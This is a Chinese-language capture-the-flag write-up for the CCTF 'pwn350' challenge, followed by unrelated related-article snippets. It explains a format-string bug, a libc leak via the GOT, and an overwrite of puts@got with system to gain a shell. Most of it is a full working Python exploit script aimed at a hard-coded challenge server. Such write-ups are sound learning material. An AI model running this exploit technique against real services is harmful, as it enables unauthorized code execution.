[CCTF] pwn350
0x00:
之前打了CCTF,在CCTF的过程中遇到一个比较有意思的思路,记录一下。
0x01:
可以看到,这是一个 fmt 的漏洞,不过很简单,接收的输入都在stack中,可以确定输入在栈中的位置,可以做到 任意地址读写。
一般来说,对于这种类型的漏洞,写shellcode
到合适的地址然后跳转过去,或者leak
出 system
地址,改其他函数的got
,都是可以拿一个shell
的。
本来,我的思路很窄,想的是构造一个循环,去leak
我需要的函数,然后改got
去拿shell
。
之后joker师傅提点了我一下,可以leak
任意两个函数地址,然后去 libcdb.com 查一波libc
的版本,就可以确定libc版本,从而得到system
的偏移。
0x02:
综上利用思路就是,leak
出任意两个函数地址,然后确定system()
的偏移,改掉puts@got
,构造puts
调用的参数为/bin/sh
就可以拿到shell
啦。
这是我找libc的时候截图
0x03:
from zio import *
#target = './pwn3'
target = ('120.27.155.82',9000)
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "red")
pwd = "rxraclhm"
def put_file(name,content):
io.read_until('ftp>')
io.writeline("put")
io.read_until("upload:")
io.writeline(name)
io.read_until("content:")
io.writeline(content)
def get_file(name):
io.read_until('ftp>')
io.writeline("get")
io.read_until('get:')
io.writeline(name)
def get_file2(name):
io.writeline("get")
io.read_until('get:')
io.writeline(name)
def put_file2(name,content):
io.writeline("put")
io.read_until("upload:")
io.writeline(name)
io.read_until("content:")
io.writeline(content)
pl1 = l32(0x0804A014) #printf@got
pl1 += ",%7$s,"
pl2 = l32(0x0804A024) #malloc@got
pl2 += ",%7$s,"
pl3 = l32(0x0804A028) #puts@got
pl3 += ",%7$s,"
offset_puts_to_system = 0x00065650 - 0x00040190
#offset_puts_to_system = 0x269a0 # local
io = zio(target,print_read=r_m,print_write=w_m,timeout=999)
io.read_until('):')
io.writeline(pwd)
put_file("a",pl3)
#raw_input('$$$$')
get_file("a")
rec = io.read_until('>').strip()
junk1,addr,junk2 = rec.split(',')
print "[*]puts is at:%s" % (addr[0:4][::-1] or '').encode('hex')
addr = addr[0:4][::-1].encode('hex')
system_addr = hex(int(addr,16) - offset_puts_to_system)
puts_addr = hex(int(addr,16))
print "[*]system is at:" + system_addr
x = int(addr,16) - offset_puts_to_system
#a,b,c,d = [(x >> i) & 0b11111111 for i in range(0, 25, 16)]
a,b = [(x >> i) & 0b1111111111111111 for i in range(0, 25, 16)]
print hex(a)+","+hex(b)
put_file2("c",l32(0x0804A028)+"%%%dc"%(a-4)+"%7$hn")
raw_input('$$$')
get_file("c")
put_file2("d",l32(0x0804A028+2)+"%%%dc"%(b-4)+"%7$hn")
get_file("d")
put_file2("/bin/sh;","test")
io.writeline('dir')
io.interact()
0x04:
get shell
[CCTF] pwn350的更多相关文章
- CCTF部分赛题分析
这次算是跟着师傅们全程打完了CCTF的线上赛,一些强队的WriteUp也放了出来.这篇文章主要是想跟着大牛的思路把那些题重新再过一遍. PWN3 这个是格式化字符串漏洞的题.printf的格式化串直接 ...
- Java基础语法
java基础学习总结——基础语法1 一.标识符
- java基础学习总结——基础语法1
一.标识符
- java 基础语法 1
一.标识符 二.关键字 三.JAVA基础数据类型 3.1. java常量 3.2. java变量 从本质上来讲,变量其实是内存里面的一小块区域,一个程序在运行的时候,实际上这个程序是位于内存里面,然后 ...
- 做ctf题对malloc的疑问
做cctf pwn printf题目的时候 疑问为什么dir函数会将之前out的name倒叙输出 调试了一下发现当malloc(0xf4)大小时候,例如 第一次分配0x1000的地址,将名字输入到0x ...
- Sql Server约束的学习二(检查约束、默认约束、禁用约束)
接上一篇的Sql Server约束学习一(主键约束.外键约束.唯一约束) 4.检查约束 1)检查约束的定义 检查约束可以和一个列关联,也可以和一个表关联,因为它们可以检查一个列的值相对于另一个列的值, ...
- BugKu 杂项-这么多数据包
前边的都是些无关紧要,只要有点网络的基础我想应该都能懂,往下看,一直到NO104,这是在干什么? 源ip138一直向目标ip159发送syn握手包,想要建立连接,其实就是端口扫描,原理就是,想和你某个 ...
- java基础—基础语法1
一.标识符
- IDA动态调试技术及Dump内存
IDA动态调试技术及Dump内存 来源 https://blog.csdn.net/u010019468/article/details/78491815 最近研究SO文件调试和dump内存时,为了完 ...
随机推荐
- P1003铺地毯
这道题是2011年提高组第一题,在洛谷被评为普及-.看到题目后直接写了一个纯模拟,结果第一次提交全部RE,后将数组开大,随即MLE.然后又去思索其余方法,采用先将每一个地毯的对角线存下来,然后i--看 ...
- Points Division(线段树+DP)2019牛客暑期多校训练营(第一场)
题意:https://ac.nowcoder.com/acm/contest/881/I 给你n个平面上的点,每个点有a.b两个权值,现在让你划分成两个区域(要求所有A集合里的点不能在任何B集合里的点 ...
- “007~ASP 0104~不允许操作”错误的解决方法(图解)
今天测试一个Z-Blog程序的上传文件时发现总提示“ 007~ASP 0104~不允许操作 ”的错误,经过度度上各位朋友的帮忙,终于找到解决方法. 这是windows2003 server对上传文件的 ...
- JavaScript例子1-给网页中所有<p>元素添加onclick事件
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title&g ...
- wpf GeometryDrawing 绘制文字
<GeometryDrawing x:Key="GeometryDrawingText"> <GeometryDrawing.Geometry> <R ...
- 转:Git和Github简单教程
转自:https://www.cnblogs.com/schaepher/p/5561193.html Git和Github简单教程 原文链接:Git和Github简单教程 网络上关于Git和Gi ...
- 给没有连接因特网的centos使用yum安装其他软件(转)
https://blog.csdn.net/bbg221/article/details/78360618 在centos上,使用yum安装软件很方便,比如安装gcc,java等, 但是在没有网络的情 ...
- ASP.NET数据库连接类(SqlDBHelper)
第一步:创建一个名为SqlDBHelper的类,用来作为联通数据库和系统之间的桥梁. 第二步:引入命名空间,如果System.Configuration.System.Transcations这两个命 ...
- 1 设置 dev express控件RepositoryItemLookUpEdit数据源的方法
private void SetLookUpEditData(Type enumType, DevExpress.XtraEditors.Repository.RepositoryItemLookUp ...
- 【持续集成工具】 Jenkins
一.什么是持续集成 持续集成(CI):简单来说就是指将开发者的工作内容频繁地集成到主干中. 而持续集成工具可以将开发者频繁需要构建,编译,测试,部署等操作自动进行,为开发提供了非常大便利. 二.持续集 ...